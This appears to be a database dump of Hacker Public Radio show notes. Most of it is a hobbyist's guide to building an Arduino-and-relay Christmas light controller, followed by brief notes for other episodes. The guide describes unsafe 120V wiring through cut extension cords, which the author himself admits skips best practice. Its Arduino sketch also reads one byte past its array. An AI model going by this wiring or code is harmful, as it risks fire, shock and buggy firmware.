For me this was fun and now I am the lord of the blinks. I\'ve been told that music is math. So I chose to experiment with this idea as my first arduino sketch. Arduino calls your program a sketch. So I found some sheet music with around eight notes. I printed the sheet music and then translated all of the notes into integers. Then I mapped the numbers to coordinate with the pins on ardunio. Uploaded the sketch and nothing happened.</p>\n <p>You cant see the electricity moving around on the Arduino, I need to do something to ensure the program is working. I run over to Radio Shack to try to remedy this hang up as soon as possible. Radio Shack carries Arduino parts, so I bought a prototyping board, resistors and LED\'s.</p>\n <p>LED\'s are great for flash lights and such. But when it comes to prototyping and experimenting LEDs are great indicators that circuits are working correctly. So I soldered up 8 leds, resistors and wires to the prototyping shield and placed the shield onto the Arduino.</p>\n <p>I plugged power into the Arduino in and the lights started blinking. I gave my self a mental high five and congratulated my brain on a job well done. This test was successful, it was time to move on to the next step. I had already been over on amazon browsing relays and found a company on there called SainSmart that has prebuilt relay modules. I picked out a module that had 8 relays on it. This module was about $9 and I didn\'t think that I would be able to build something as nice as this for the same price. What I did next is sloppy and dangerous. Don\'t do this, I did it because I was following other peoples\' instructions. People think its OK to run 120v into shoe boxes or clear rubber made totes. I did mine in an $8 home depot tool box. I wired everything up correctly and tested the system. I was able to get 8 strings of light to blink but I wasn\'t very happy with what I had. My idea for making the sequence, looked nice when it was only 8 leds blinking in a two by two inch square. Translate that to strings with 100 bulbs and it doesn\'t look sequenced. In-fact it looks like a sloppy attempt at being random. Maybe even call it laggy. it was bad.</p>\n <p>I left out everything I had to do to get the system working because I don\'t want anyone to do this. Seriously don\'t run push high voltage into cheap plastic products. It\'s dumb and dangerous, I did it for you, so you don\'t have to.</p>\n <p>However this first experiment passed all of my tests and filled in all the gaps in my mind. I know exactly what to do now and I\'ll cover my new box in detail. I suppose I skipped over what a relay is. You can think of a relay as an electromechanical light switch. They use direct current to drive a magnet to mechanically move an internal switch to create an open or closed circuit. These are the the devices that make it physically possible to synchronize a light show. While running my first prototype system a blue genie escaped from the board so I only have seven of eight relays working. It didn\'t bother me too much that one of them was broken because my plans are to build a larger system. I went back to Amazon again and this time purchased another eight relay module and then two sixteen relay modules. When talking about syncro systems a relay is called a channel, so with all my new hardware I now have enough to do 47 channels. The ardunio UNO only has 17 usable pins. So I needed to build multiple system or get a new controller. So I got a new controller. My new controller is still an Arduino, but instead of being the UNO it is now the MEGA. The MEGA is advertised to have 54 input/output ports. This more than enough to drive the relays I have. The issues of a proper enclosure is not trivial. This system contains high voltage and direct current electronics. I chose a Cantex twelve by twelve by six inch PVC junction box. The lid has six screws and a gasket to make the enclosure water tight.</p>\n <p>The box was fairly expensive at thirty dollars but made everything feel better. In my collection of spare parts and junk I found a fist full of stand-offs and screws that actually had the same thread spacing. I drilled holes in the box and screwed in the stand-offs once I had the relays and Arduino parts mounted the way I liked I removed the hardware only leaving the screws and stand-offs.</p>\n <p>Around all of the mounting hardware I used a combination of hot glue, silicone caulk and PVC cement to insulate the metal screws and to make their connections water tight. With the lid open and looking into the box the entire back side of the box fits the MEGA and two 16 relay modules. On the six inch side walls I was able to mount the eight relay modules. Before I mounted the relays for the last time I wired them up for high voltage. The relays have three set screws. The center screw is the common hot wire. For example from relay one I have a short 14 gauge wire running out of this screw and into a four port wire nut. Ideal makes a Push-In Wire connector that has 4 ports. The ports are bussed together and make for a cleaner install when compared to a standard twist wire nut. One push in connector can connect two relays and then jumper on to the next wire nut with two more relays, so on and so on. So there are 4 total relay modules and I connected all the common hots among all of them this way. When it came to the 16 relay modules I used tall standoffs so I could hide all this wire under them. So these connections are a little bit longer. The set screws in these modules can only handle up to 14 gauge wire. So thats what I used throughout. Before placing the modules you need to look at the other two set screws and make a decision. to the right of the common hot is the open side and to the left of the common hot is the closed side. At this point you have to think about your Christmas lights. Do you want them to be off all the time and have the relays turn them on to create your sequence. Your default state will be to have a dark yard. I chose to have them on at all times and I was going to create sequences where I would be turning them off. So even if nothing is happening the default state will be that my yard will be bright with lights. I also chose this way because if something breaks along the way I don\'t have to run out and re plug everything just to have lights on. But be careful as this will become confusing as we go along, its inverted from tradition thinking. With the relays wired with common hots, I installed them into the box and screwed them in. After that I tied the modules hots together. But made it more complicated than it needed to be. For some dumb reason I decided to load balance my box. Two relays per circuit. Back to my power, I ran two lines A and B. In side my box I made it so there was an A and B side too. Honestly everything can be tied together and it won\'t stress the system out the slightest. All it does is makes things more complicated. The next thing I did was connect all of the DC cables in the system. I created connectors from bits and parts laying around. Old IDE cables are nice for this. I wanted a completely modular system in case anything failed. So nothing is hard-wired soldered. I started out on the MEGA with Pin 22 and wired one pin to one relay pin. over and over again 47 times.</p>\n <p>Then I created a power distribution board that distributes 12 volts to all of the relays and Arduino. I fitted everything up and ensured that everything fit and I had good connections. Then pulled the MEGA back out. Even though I have the relays in a box and all the hardware is connected the Mega has never been powered on. Its still dumb and doesn\'t know what it\'s supposed to be doing. Earlier I was talking about using sheet music to make a sequence and how that\'s a bad idea. I needed a new way to make blinky blinky. I found some popular windows software called Vixen Lights. Vixen is extremely granular lighting synchronization software. To the best of my knowledge it only works under Windows, although I have been trying to get it to work in WINE. Someday I\'ll get this to work. When you get Vixen up and running the screen looks like a spreadsheet, full of cells. Each cell represents time on a channel, double click the cell to turn it on or off. Some estimate that it could take several hours to synchronize three minutes of music. I\'m not really concerned about making a sequence at this time. I move on because its more important to get a completed box in my mind. So let me help you spend some more money. When using Vixen the Ardunio needs to be connected to your computer via a USB cable. You\'ll configure Vixen to send serial to the com port that Ardunio is connected to. I have spare computers. But installing windows xp on a box and getting it configured is extremely annoying in its self. Then figuring out how to put a desktop in the yard adds to pointlessness. Some people might jump on the wifi bandwagon. There are to many devices on my network and I really don\'t want a power system to be available to the Internet. Plus why would you want your lights to be remotely operated like this. If you\'re not home why do you care if your lights are on or off. I\'m doing this for me. The challenge is to eliminate the USB cable and keep it off the Internet.</p>\n <p>I found out about wireless radios called xbee\'s. They are expensive, but do exactly what I want. They create a wireless serial connection at 9600 baud. When you\'re out shopping for your own there are two different types of xbee\'s. S1 and S2. I believe the S2\'s are also called zigbees and you can make them more secure than the S1. I ordered the wrong ones, I ordered the S1\'s. The S1\'s are extremely easy to set up. But to set them up you need more hardware. I ordered a majority of my hardware from Adafruit. So along with two xbees, I also got two xbee adapter kits and one FTDI cable. After building the adapter kits and plugging in the xbees I wired one of them into the Ardunio. For the Arduino side all you need is four wires. Ground, five volt power, transmit, and receive. The Uno has one TX/RX connection while the Mega has four. This doesn\'t matter since all Ardunio needs to do is listen. On your computer all you need to do is plug in the xbee using the FTDI. It is recognized as serial I believe in both Windows and Linux no drivers were needed to make it work. The only computer configuration needed is changing in Vixen, you need to tell Vixen what port it needs to use to send serial commands. But before you test this, you need to give your Arduino instructions. Here is the sketch I created for my system:</p><pre>\nint C1 = 2;\nint C2 = 3;\nint C3 = 4;\nint C4 = 5;\nint C5 = 6;\nint C6 = 7;\nint C7 = 8;\nint C8 = 9;\nint C9 = 10;\nint C10 = 11;\nint C11 = 12;\nint C12 = 13;\nint C13 = 22;\nint C14 = 23;\nint C15 = 24;\nint C16 = 25;\nint C17 = 26;\nint C18 = 27;\nint C19 = 28;\nint C20 = 29;\nint C21 = 30;\nint C22 = 31;\nint C23 = 32;\nint C24 = 33;\nint C25 = 34;\nint C26 = 35;\nint C27 = 36;\nint C28 = 37;\nint C29 = 38;\nint C30 = 39;\nint C31 = 40;\nint C32 = 41;\nint C33 = 42;\nint C34 = 43;\nint C35 = 44;\nint C36 = 45;\nint C37 = 46;\nint C38 = 47;\nint C39 = 48;\nint C40 = 49;\nint C41 = 50;\nint C42 = 51;\nint C43 = 52;\nint C44 = 53;\nint C45 = 54;\nint C46 = 55;\nint C47 = 56;\nint i = 0;\nint incomingByte[47];\nvoid setup()\n{\nSerial.begin(9600);\npinMode(C1, OUTPUT);\npinMode(C2, OUTPUT);\npinMode(C3, OUTPUT);\npinMode(C4, OUTPUT);\npinMode(C5, OUTPUT);\npinMode(C6, OUTPUT);\npinMode(C7, OUTPUT);\npinMode(C8, OUTPUT);\npinMode(C9, OUTPUT);\npinMode(C10, OUTPUT);\npinMode(C11, OUTPUT);\npinMode(C12, OUTPUT);\npinMode(C13, OUTPUT);\npinMode(C14, OUTPUT);\npinMode(C15, OUTPUT);\npinMode(C16, OUTPUT);\npinMode(C17, OUTPUT);\npinMode(C18, OUTPUT);\npinMode(C19, OUTPUT);\npinMode(C20, OUTPUT);\npinMode(C21, OUTPUT);\npinMode(C22, OUTPUT);\npinMode(C23, OUTPUT);\npinMode(C24, OUTPUT);\npinMode(C25, OUTPUT);\npinMode(C26, OUTPUT);\npinMode(C27, OUTPUT);\npinMode(C28, OUTPUT);\npinMode(C29, OUTPUT);\npinMode(C30, OUTPUT);\npinMode(C31, OUTPUT);\npinMode(C32, OUTPUT);\npinMode(C33, OUTPUT);\npinMode(C34, OUTPUT);\npinMode(C35, OUTPUT);\npinMode(C36, OUTPUT);\npinMode(C37, OUTPUT);\npinMode(C38, OUTPUT);\npinMode(C39, OUTPUT);\npinMode(C40, OUTPUT);\npinMode(C41, OUTPUT);\npinMode(C42, OUTPUT);\npinMode(C43, OUTPUT);\npinMode(C44, OUTPUT);\npinMode(C45, OUTPUT);\npinMode(C46, OUTPUT);\npinMode(C47, OUTPUT);\n}\nvoid loop()\n{\nif (Serial.available() &gt;= 47) {\nfor (int i=0; i&lt;=47; i++)\n{\nincomingByte[i] = Serial.read();\n}\ndigitalWrite(C1, incomingByte[0]);\ndigitalWrite(C2, incomingByte[1]);\ndigitalWrite(C3, incomingByte[2]);\ndigitalWrite(C4, incomingByte[3]);\ndigitalWrite(C5, incomingByte[4]);\ndigitalWrite(C6, incomingByte[5]);\ndigitalWrite(C7, incomingByte[6]);\ndigitalWrite(C8, incomingByte[7]);\ndigitalWrite(C9, incomingByte[8]);\ndigitalWrite(C10, incomingByte[9]);\ndigitalWrite(C11, incomingByte[10]);\ndigitalWrite(C12, incomingByte[11]);\ndigitalWrite(C13, incomingByte[12]);\ndigitalWrite(C14, incomingByte[13]);\ndigitalWrite(C15, incomingByte[14]);\ndigitalWrite(C16, incomingByte[15]);\ndigitalWrite(C17, incomingByte[16]);\ndigitalWrite(C18, incomingByte[17]);\ndigitalWrite(C19, incomingByte[18]);\ndigitalWrite(C20, incomingByte[19]);\ndigitalWrite(C21, incomingByte[20]);\ndigitalWrite(C22, incomingByte[21]);\ndigitalWrite(C23, incomingByte[22]);\ndigitalWrite(C24, incomingByte[23]);\ndigitalWrite(C25, incomingByte[24]);\ndigitalWrite(C26, incomingByte[25]);\ndigitalWrite(C27, incomingByte[26]);\ndigitalWrite(C28, incomingByte[27]);\ndigitalWrite(C29, incomingByte[28]);\ndigitalWrite(C30, incomingByte[29]);\ndigitalWrite(C31, incomingByte[30]);\ndigitalWrite(C32, incomingByte[31]);\ndigitalWrite(C33, incomingByte[32]);\ndigitalWrite(C34, incomingByte[33]);\ndigitalWrite(C35, incomingByte[34]);\ndigitalWrite(C36, incomingByte[35]);\ndigitalWrite(C37, incomingByte[36]);\ndigitalWrite(C38, incomingByte[37]);\ndigitalWrite(C39, incomingByte[38]);\ndigitalWrite(C40, incomingByte[39]);\ndigitalWrite(C41, incomingByte[40]);\ndigitalWrite(C42, incomingByte[41]);\ndigitalWrite(C43, incomingByte[42]);\ndigitalWrite(C44, incomingByte[43]);\ndigitalWrite(C45, incomingByte[44]);\ndigitalWrite(C46, incomingByte[45]);\ndigitalWrite(C47, incomingByte[46]);\n}\n}\n</pre><p>All the sketch really says is, listen to serial, take that info and do this. Upload the sketch using the USB cable plugged into your computer. I don\'t believe you can upload the sketch or make any changes to the sketch using xbee. Once I had this all setup, I built a 47 led array connected to the pins I want to use, plus the xbee. With a 9 volt battery and the Arduino, I tested this setup. My I created a one at a time sequence on my desktop and hit play. Immediately the lights started flashing. I walked away from the desktop antenna and I was able to venture about 100 feet from the antenna and maintain the signal. Everything is looking great.</p>\n <p>I didn\'t change a thing with the Arduio and placed it in the box and connected it to the relays. I connected up the DC system and then tested the relays one at a time. This part was fairly amusing, 47 relays clicking is funny for some reason. I also used this time to play with my multimeter, I tested every aspect of the system before moving on. Making sure the set screws worked as claimed and everything was connected correctly. This will be the last time you have easy access to all the hardware so it needs to be verified. The next step is wiring the relays to do work. So lets do some money math real quick. I have 47 channels. Outdoor outlet boxes are only two gang. If you break the tabs off your outlets you can put 4 channels in one outdoor PVC box. Lets say that since you didn\'t destroy one of your relays you would have 48. 48 divided by 4 is twelve. You need 12 outdoor PVC boxes. At roughly $7 per box at a minimum that cost $84. Then add onto that receptacle covers They generally cost about $14 each. 12 times 14 equals 168 dollars. 84 + 168 = 252 dollars! This doesn\'t cover the cost of wire, outlets, and PVC fittings. 250 dollars just for molded plastic seems wasteful.</p>\n <p>Its best practice to go with that method. I simply can not spend the money for that. Instead I went to the dollar store and bought enough green extension cords to complete my task. The extension cords are about 6 foot long. I cut about one third of the cable off of the male side. Since these extension cords are not solid core copper I stripped off a bit of the ends and twisted them before tinning the tips with solder. The relays have set screws and stranded wire doesn\'t make as nice of a connection as solid wire so by tinning the tips you\'re giving the screws something to bite onto. In conjunction with the extension cords I used electric glands to pass the wires through the wall of the junction box. I bought 6 of them and randomly divided all 47 extension cords through only 5 of them. The 6th one will be used for main power later on. As I installed the extension cords I labelled and color coordinated the female parts. And also hit it with the multimeter to double check my work. Once all the extension cords have been connected and verified, it\'s time to install the main power. In my junk pile I had about eight feet of 14/3 outdoor romex. I color coordinated both of these to indicate which one is A and B. There\'s nowhere to tie in the ground in this system, so I clipped that end off and then moved on to the white wires. I tied all of the neutrals together and then tested that with a multimeter, testing across the two furthest points ensuring a sure path. I used the same push-in connectors and several hot glue sticks to create a solid brick of push in connectors. Finally I tied the hot black wires into their sides and the system is complete. I ran a live test of the system a few weeks ago. I pulled out a few strings of lights and played around experimenting with the Vixen environment. I have a few ideas on how I would like to change the system but I haven\'t incorporated these ideas yet. What I would like to do is bring a raspberry pi in to remove my desktop. I found a program on SourceForge called Lumos. The creator claims that his program can play Vixen sequences via the command line in Linux. I would like to give this a try, or just get Vixen to work under Linux. I don\'t want to dedicate my main computer to perform this yearly task. I hope I have explained this clear enough. I don\'t participate in all the social media sites, but I do wear tinfoil hats. If you would like to reach me I hangout in the Podnutz Chat on freenode, my user name is Underruner. Thank you for listening.</p>',267,0,0,'CC-BY-SA','Christmas,Holiday,Light,synchronization',0,1517,1),
(1394,'2013-12-05','Setting Up Your Own Blog',697,'Keith Murray talks about the things you need to consider when setting up your own blog.','<p>Keith Murray talks about the things you need to consider when setting up your own blog. Topics discussed include hosting options, software platforms and a brief discussion of some of the underlying technologies involved.</p>\n <p>Links to many of the topics and projects discussed are included below.</p>\n <p>Links</p>\n <p>Project Pages</p>\n <ul>\n  <li>Apache: <a href=\"https://httpd.apache.org/\">https://httpd.apache.org/</a></li>\n  <li>nginx: <a href=\"https://wiki.nginx.org/Main\">https://wiki.nginx.org/Main</a></li>\n  <li>Wordpress: <a href=\"https://wordpress.org/\">https://wordpress.org/</a></li>\n  <li>Joomla: <a href=\"https://www.joomla.org/\">https://www.joomla.org/</a></li>\n  <li>Drupal: <a href=\"https://drupal.org/\">https://drupal.org/</a></li>\n  <li>Jekyll: <a href=\"https://jekyllrb.com/\">https://jekyllrb.com/</a></li>\n  <li>Second Crack: <a href=\"https://www.marco.org/secondcrack\">https://www.marco.org/secondcrack</a></li>\n  <li>Markdown: <a href=\"https://daringfireball.net/projects/markdown/\">https://daringfireball.net/projects/markdown/</a></li>\n </ul>\n <p>Installation Guides</p>\n <ul>\n  <li>Wordpress: <a href=\"https://codex.wordpress.org/Installing_WordPress\">https://codex.wordpress.org/Installing_WordPress</a></li>\n  <li>Drupal: <a href=\"https://drupal.org/documentation/install\">https://drupal.org/documentation/install</a></li>\n  <li>Joomla: <a href=\"https://docs.joomla.org/J3.2:Installing_Joomla\">https://docs.joomla.org/J3.2:Installing_Joomla</a></li>\n </ul>\n <p>Wikipedia Links</p>\n <ul>\n  <li>Blog: <a href=\"https://en.wikipedia.org/wiki/Blog\">https://en.wikipedia.org/wiki/Blog</a></li>\n  <li>Virtual Private Server: <a href=\"https://en.wikipedia.org/wiki/Virtual_private_server\">https://en.wikipedia.org/wiki/Virtual_private_server</a></li>\n  <li>Plain Text: <a href=\"https://en.wikipedia.org/wiki/Plain_text\">https://en.wikipedia.org/wiki/Plain_text</a></li>\n </ul>',266,0,0,'CC-BY-SA','blog,Apache,nginx,Wordpress,Joomla,Drupal,Jekyll,\"Second Crack\",Markdown',0,1610,1),
(1388,'2013-11-27','JavaScript',613,'Introduction to JavaScript, its origins, characteristics, and uses.','<p>\r\nSigflup calls in a \"off the cuff\" episode about JavaScript from the Hospital. \r\n</p>\r\n<p>\r\n<strong>JavaScript</strong><br />\r\n<em>From Wikipedia, the free encyclopedia</em>\r\n<p>\r\nJavaScript (JS) is an interpreted computer programming language. As part of web browsers, implementations allow client-side scripts to interact with the user, control the browser, communicate asynchronously, and alter the document content that is displayed. It has also become common in server-side programming, game development and the creation of desktop applications.<br />\r\nJavaScript is a prototype-based scripting language with dynamic typing and has first-class functions. Its syntax was influenced by C. JavaScript copies many names and naming conventions from Java, but the two languages are otherwise unrelated and have very different semantics. The key design principles within JavaScript are taken from the Self and Scheme programming languages. It is a multi-paradigm language, supporting object-oriented, imperative, and functional programming styles.<br />\r\nThe application of JavaScript to uses outside of web pages—for example, in PDF documents, site-specific browsers, and desktop widgets—is also significant. Newer and faster JavaScript VMs and frameworks built upon them (notably Node.js) have also increased the popularity of JavaScript for server-side web applications.<br />\r\nJavaScript was formalized in the ECMAScript language standard and is primarily used as part of a web browser (client-side JavaScript). This enables programmatic access to computational objects within a host environment.\r\n</p>\r\n\r\n',115,0,1,'CC-BY-SA','programming languages,javascript,web programming',0,1595,1),
(1391,'2013-12-02','Google Play Music All Access',1031,'The new online streaming music service from Google','<p>This program is about the new online streaming music service from Google, called Google Play Music All Access.</p>\n <p>Like many people I enjoy listening to music, and having my music with me everywhere is important. And I have a large music collection to draw on. Trying to have everything with me at all times is a bit of a problem, though, considering how much music I have. Right now I own a number of portable MP3 players, two of which are full of music that I carry with me. My pockets can get very full that way, though, and while I like listening to tracks I own, what about finding new stuff? My MP3 players have never suggested anything to me. This is where the cloud services come in.</p>\n <p>You can find the rest of the show notes together with screen shots at <a href=\"https://www.palain.com/?page_id=169\">https://www.palain.com/?page_id=169</a></p>',198,0,0,'CC-BY-SA','\"music streaming\",\"Google Play Music\"',0,1555,1),
(1410,'2013-12-27','Generating Keys on the Command Line',1855,'How to generate keys on the command line in Linux using GPG','<p>This is the third in our Security and Privacy series, and explains how you can generate keys on the command line in Linux using GPG.</p>\r\n <ul>\r\n  <li><a href=\"https://www.gnupg.org/documentation/guides.en.html\">https://www.gnupg.org/documentation/guides.en.html</a></li>\r\n  <li><a href=\"https://code.google.com/p/cryptophane/\">https://code.google.com/p/cryptophane/</a></li>\r\n  <li><a href=\"https://www.tech-faq.com/gnupg-shell.html\">https://www.tech-faq.com/gnupg-shell.html</a></li>\r\n  <li><a href=\"https://www.gnupg.org/related_software/gpa/index.en.html\">https://www.gnupg.org/related_software/gpa/index.en.html</a></li>\r\n  <li><a href=\"https://utils.kde.org/projects/kgpg/\">https://utils.kde.org/projects/kgpg/</a></li>\r\n  <li><a href=\"https://projects.gnome.org/seahorse/\">https://projects.gnome.org/seahorse/</a></li>\r\n  <li><a href=\"https://fedoraproject.org/wiki/Creating_GPG_Keys\">https://fedoraproject.org/wiki/Creating_GPG_Keys</a></li>\r\n  <li><a href=\"https://gnupg.org/gph/en/manual.html#INTRO\">https://gnupg.org/gph/en/manual.html#INTRO</a></li>\r\n </ul>\r\n <p>This article appears on my web site at <a href=\"https://www.zwilnik.com/?page_id=456\">https://www.zwilnik.com/?page_id=456</a>.</p>\r\n <p>Remember to support free software!</p>\r\n',198,74,0,'CC-BY-SA','security,GPG,key,kgpg,seahorse',0,1904,1),
(1389,'2013-11-28','Javascript Corrections',285,'In this episode sigflup corrects a few errors made in her previous show about javascript','In this episode sigflup corrects a few errors made in her previous show about javascript',115,0,0,'CC-BY-SA','javascript,node.js',0,1455,1),
(1392,'2013-12-03','Beginner\'s guide to the night sky',1055,'A personal view of the Universe, as viewed from Earth, by a geeky chap.','<p>\r\nThis is a personal view of the Universe, as viewed\r\nfrom the Earth in the early 21st Century, by a somewhat\r\ngeeky chap. In this episode, I talk a little about my first memories\r\nof looking at the night sky and how the modern science of astronomy\r\nhas its roots in ancient mythology, and how the sky provided\r\na picture book for humanity before we even did our first cave painting.\r\n</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://astro.mcnalu.net/\">https://astro.mcnalu.net/</a></li>\r\n</ul>\r\n',268,0,0,'CC-BY-SA','astronomy,\"Moon Illusion\",constellation,mythology,astrology',0,1701,1),
(1393,'2013-12-04','Audio Metadata in Ogg, MP3, and others',2709,'Epicanis discusses metadata tags in mp3, opus, ogg, flac, speex, and other audio formats.','<hr class=\"light\" />\r\n\r\n<p>\r\nMetadata in MP3, Opus/Ogg/FLAC/Speex, and other audio files.\r\n</p>\r\n<p>\r\nToday\'s episode discusses (and encourages) the use of metadata tags in audio files. \r\nMost of the episode is spent on id3v2.3 (metadata for mp3 files) and vorbiscomments (metadata for opus, ogg vorbis, flac, and speex files), and how to mix them, though metadata in webm/matroska, windows media, and wav files is briefly discussed as well.\r\n</p>\r\n<p>\r\nThis episode\'s files have also been crafted with substantially more metadata than the ID3v1 set of tags that HPR normally limits itself to, to serve as examples.\r\n</p>\r\n<p>\r\nListeners to the opus, ogg (vorbis), or speex versions will also have access to chapter markings if your playback software recognizes standard vorbiscomment chapter metadata. (No chapter markings in the mp3, as support for it is extremely sparse, and I\'ve not \r\nyet even managed to find a tool for making mp3 chapters that actually works - the java utility I mention in the episode crashes on me without starting...)\r\n</p>\r\n<p>\r\nAll metadata conforms to the published standards, so your playback software should at best fully use it all, or at worst simply ignore it. If your player software actually DOES have a real problem with this file, I would very much like to know!\r\n</p>\r\n<p>\r\nIf there\'s anything wrong with the metadata, blame Epicanis, not HPR (I did the metadata myself). \r\n</p>\r\n<p>\r\nIf you hear or see any errors in this episode, please tell me. I\'ll issue appropriate corrections in subsequent episodes. If I\'m a big enough screwup with this episode, I could even do a small episode on \"everything I got wrong in my metadata episode\" if I did \r\nbadly enough. I don\'t THINK there should be more than a few minor errors or omissions here, though.\r\n</p>\r\n<p>\r\nERRATA: In chapter 18 (at 34:53) there is one small error: oggenc does NOT transfer attached pictures from flac input (though it DOES transfer all vorbiscomment metadata. FLAC stores attached pictures in a separate metadata structure so oggenc misses it. \r\nopusenc - at least in recent beta versions - DOES appear to transfer the attached pictures as well as the vorbiscomments, though. Another reason to upgrade to opus, I suppose...)\r\n</p>\r\n	',182,0,0,'CC-BY-SA','thoughtkindness, audio, metadata, ogg, mp3, vorbis, opus, flac, speex, matroska, webm, asf, mp4, wav, file formats, HTML5, tagging',0,1680,1),
(1396,'2013-12-09','First Thoughts of the Google Chromecast',737,'A description of the Google Chromecast and some experiences with it','<p>\r\nI discuss my first experience with the Google Chromecast.  I go through my process of setting up the device and start streaming Netflix, Music and Podcasts.  \r\n</p>\r\n<p>\r\n<a href=\"https://www.google.com/intl/en/chrome/devices/chromecast/\">https://www.google.com/intl/en/chrome/devices/chromecast/</a>\r\n</p>\r\n',252,0,0,'CC-BY-SA','google chromecast,netflix',0,1790,1),
(1397,'2013-12-10','HPR Community News for November 2013',4734,'HPR Community News for November 2013',' <h2>New hosts</h2>\n <p>Welcome to our new hosts: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=265\">Kevin Wisher</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=266\">Keith Murray</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=267\">Underruner</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\">Andrew Conway</a>.</p>\n <h2>Show Updates</h2>\n <table>\n  <thead>\n   <tr>\n    <th>id</th>\n    <th>date</th>\n    <th>title</th>\n    <th>host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr>\n    <td>1370</td>\n    <td>2013-11-01</td>\n    <td>Blogging With Octopress</td>\n    <td>Tony Pelaez</td>\n   </tr>\n   <tr>\n    <td>1371</td>\n    <td>2013-11-04</td>\n    <td>The Lost Banner of HPR</td>\n    <td>pokey</td>\n   </tr>\n   <tr>\n    <td>1372</td>\n    <td>2013-11-05</td>\n    <td>Rootstrikers.org and federal election commission data processing</td>\n    <td>James Michael DuPont (h4ck3rm1k3)</td>\n   </tr>\n   <tr>\n    <td>1373</td>\n    <td>2013-11-06</td>\n    <td>01 - Why Do We Need Privacy, And Isn\'t It A Waste Of Time Anyway?</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1374</td>\n    <td>2013-11-07</td>\n    <td>Updating The 2009 LifeHacker QuadCore Hackintosh to Mavericks</td>\n    <td>Richard Hughes</td>\n   </tr>\n   <tr>\n    <td>1375</td>\n    <td>2013-11-08</td>\n    <td>LibreOffice 15 Writer Nested Lists Introduced</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1376</td>\n    <td>2013-11-11</td>\n    <td>How Should We Then Teach the Art of Computing?</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>1377</td>\n    <td>2013-11-12</td>\n    <td>Zareason ZaTab 2 Android Tablet</td>\n    <td>Frank Bell</td>\n   </tr>\n   <tr>\n    <td>1378</td>\n    <td>2013-11-13</td>\n    <td>Day one of interviews from OGGcamp 13.</td>\n    <td>Various Hosts</td>\n   </tr>\n   <tr>\n    <td>1379</td>\n    <td>2013-11-14</td>\n    <td>Day two of interviews from OGGcamp 13.</td>\n    <td>Various Hosts</td>\n   </tr>\n   <tr>\n    <td>1380</td>\n    <td>2013-11-15</td>\n    <td>OGGCamp13 Bonus Track</td>\n    <td>Various Hosts</td>\n   </tr>\n   <tr>\n    <td>1381</td>\n    <td>2013-11-18</td>\n    <td>How We Found Linux</td>\n    <td>Kevin Wisher</td>\n   </tr>\n   <tr>\n    <td>1382</td>\n    <td>2013-11-19</td>\n    <td>Interview with Dave Hingley</td>\n    <td>Mike Hingley</td>\n   </tr>\n   <tr>\n    <td>1383</td>\n    <td>2013-11-20</td>\n    <td>HPR Community News for October 2013</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>1384</td>\n    <td>2013-11-21</td>\n    <td>How I Got Into Linux and OSS</td>\n    <td>Keith Murray</td>\n   </tr>\n   <tr>\n    <td>1385</td>\n    <td>2013-11-22</td>\n    <td>LibreOffice 16 Writer Nested Lists Controlled via Styles</td>\n    <td>Ahuka</td>\n   </tr>\n   <tr>\n    <td>1386</td>\n    <td>2013-11-25</td>\n    <td>Hacking Public Policy: The Underground Press</td>\n    <td>Bob Tregilus</td>\n   </tr>\n   <tr>\n    <td>1387</td>\n    <td>2013-11-26</td>\n    <td>Christmas Light Synchronization</td>\n    <td>Underruner</td>\n   </tr>\n   <tr>\n    <td>1388</td>\n    <td>2013-11-27</td>\n    <td>JavaScript</td>\n    <td>sigflup</td>\n   </tr>\n   <tr>\n    <td>1389</td>\n    <td>2013-11-28</td>\n    <td>Javascript Corrections</td>\n    <td>sigflup</td>\n   </tr>\n   <tr>\n    <td>1390</td>\n    <td>2013-11-29</td>\n    <td>02 - Encryption Basics</td>\n    <td>Ahuka</td>\n   </tr>\n  </tbody>\n </table>\n <h2>Other News</h2>\n <ul>\n  <li>Mike Dupont (h4ck3rm1k3) is writing a HPR Publisher tool</li>\n  <li>Discussion of the infrastructure for New Year\'s 24-hour show</li>\n  <li>Danny Meeks has offered to print a replacement banner<br /> There was a Mumble discussion about the design</li>\n  <li>Indiegogo campaign for Linux Voice</li>\n  <li>Calls for more shows</li>\n  <li>Development of a torrent for collecting archived shows</li>\n </ul>\n',159,47,1,'CC-BY-SA','Community News',0,1499,1),
(1398,'2013-12-11','Batteries Part 1',1222,'A show about batteries - Part 1','<p>A show about batteries - Part 1</p>\n <p>I can\'t take the credit for all this detailed information in my podcast, I found this fantastic website many years ago while investigating why the battery in my expensive razor prematurely failed. I tried to hunt for the site but couldn\'t find it. I wrote up all my notes from memory and recorded the show. It wasn\'t until I started working on part 2 of my batteries show that I stumbled across this long forgotten site - at least I think it\'s the same one as it talks about the memory effect on satellites and doctor\'s pagers so I guess it must be the same one. I\'m indeed delighted to find it still exists, and I may very well read it again from top to bottom. It looks like it\'s been updated a little too. Well done ka7oei a fantastic resource right enough.</p>\n <p>Site title: \"About NiMH and NiCd cells and batteries (And a little about LiIons, too...)\" <a href=\"https://www.ka7oei.com/nicds.html\">https://www.ka7oei.com/nicds.html</a></p>\n <p>A picture of my trusty Philips 5890 Shaver <a href=\"https://urun.gittigidiyor.com/kozmetik-kisisel-bakim/philips-philishave-5890-tras-makinasi-77027302\">https://urun.gittigidiyor.com/kozmetik-kisisel-bakim/philips-philishave-5890-tras-makinasi-77027302</a></p>\n <p>Memory effect <a href=\"https://en.wikipedia.org/wiki/Memory_effect\">https://en.wikipedia.org/wiki/Memory_effect</a></p>\n <p>Doctor\'s pager <a href=\"https://en.wikipedia.org/wiki/Pager\">https://en.wikipedia.org/wiki/Pager</a></p>\n <p>Sansa Clip <a href=\"https://en.wikipedia.org/wiki/Sansa_Clip#Sansa_Clip\">https://en.wikipedia.org/wiki/Sansa_Clip#Sansa_Clip</a></p>\n <p>Two Possible Chargers (For use in the UK)</p>\n <p>I found it very difficult to find a slow trickle charger, here are two possibilities, you may need to settle for a fast charger as the slow ones now seem to be like hen\'s teeth, (VERY HARD TO GET).</p>\n <p>This is perhaps a little slow with a charge current of only 150ma, would take about 17Hrs to charge 2100 mAh 